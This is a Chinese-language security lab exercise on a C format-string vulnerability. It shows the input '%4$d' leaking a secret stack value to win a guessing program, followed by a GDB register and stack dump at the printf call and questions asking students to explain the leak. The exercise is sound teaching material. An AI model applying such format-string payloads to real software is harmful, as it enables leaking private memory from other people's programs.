格式化字符串漏洞

实验目的：熟悉由于C语言中格式化字符串带来的信息泄漏漏洞

实验环境：Ubuntu 16.04 LTS x32

实验工具：GDB

(1) 执行可执行程序并按照如下图所示输入。

```
what's your name?
%4$d
welcome,710014265guess what is the secret:
710014265
you win!
```

(2) 分析源代码，定位漏洞的位置并解释漏洞成因。

(3) 使用GDB调试，观察程序运行中printf的参数并解释上图所示中的输入所代表的意思。

```
[----------------------------------registers-----------------------------------]
EAX: 0xffffd058 ("welcome,%4$d")
EBX: 0x0
ECX: 0x64243425 ('%4$d')
EDX: 0x4
ESI: 0xf7fb8000 --> 0x1afdb0
EDI: 0xf7fb8000 --> 0x1afdb0
EBP: 0xffffd078 --> 0x0
ESP: 0xffffd030 --> 0xffffd058 ("welcome,%4$d")
EIP: 0x8048621 (<main+166>:     call   0x8048400 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804861a <main+159>:        sub    esp,0xc
   0x804861d <main+162>:        lea    eax,[ebp-0x20]
   0x8048620 <main+165>:        push   eax
=> 0x8048621 <main+166>:        call   0x8048400 <printf@plt>
   0x8048626 <main+171>:        add    esp,0x10
   0x8048629 <main+174>:        sub    esp,0xc
   0x804862c <main+177>:        push   0x8048743
   0x8048631 <main+182>:        call   0x8048430 <puts@plt>
Guessed arguments:
arg[0]: 0xffffd058 ("welcome,%4$d")
[-------------------------------------stack-------------------------------------]
0000| 0xffffd030 --> 0xffffd058 ("welcome,%4$d")
0004| 0xffffd034 --> 0xffffd04e ("%4$d")
0008| 0xffffd038 --> 0x4
0012| 0xffffd03c --> 0xf7fd51a8 --> 0xf7e08000 --> 0x464c457f
0016| 0xffffd040 --> 0xa5d424b8
0020| 0xffffd044 --> 0xf7fb8000 --> 0x1afdb0
0024| 0xffffd048 --> 0x3
0028| 0xffffd04c --> 0x342500ec
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048621 in main ()
gdb-peda$
```

(4) 请列举其他格式化字符串可能带来的信息泄漏。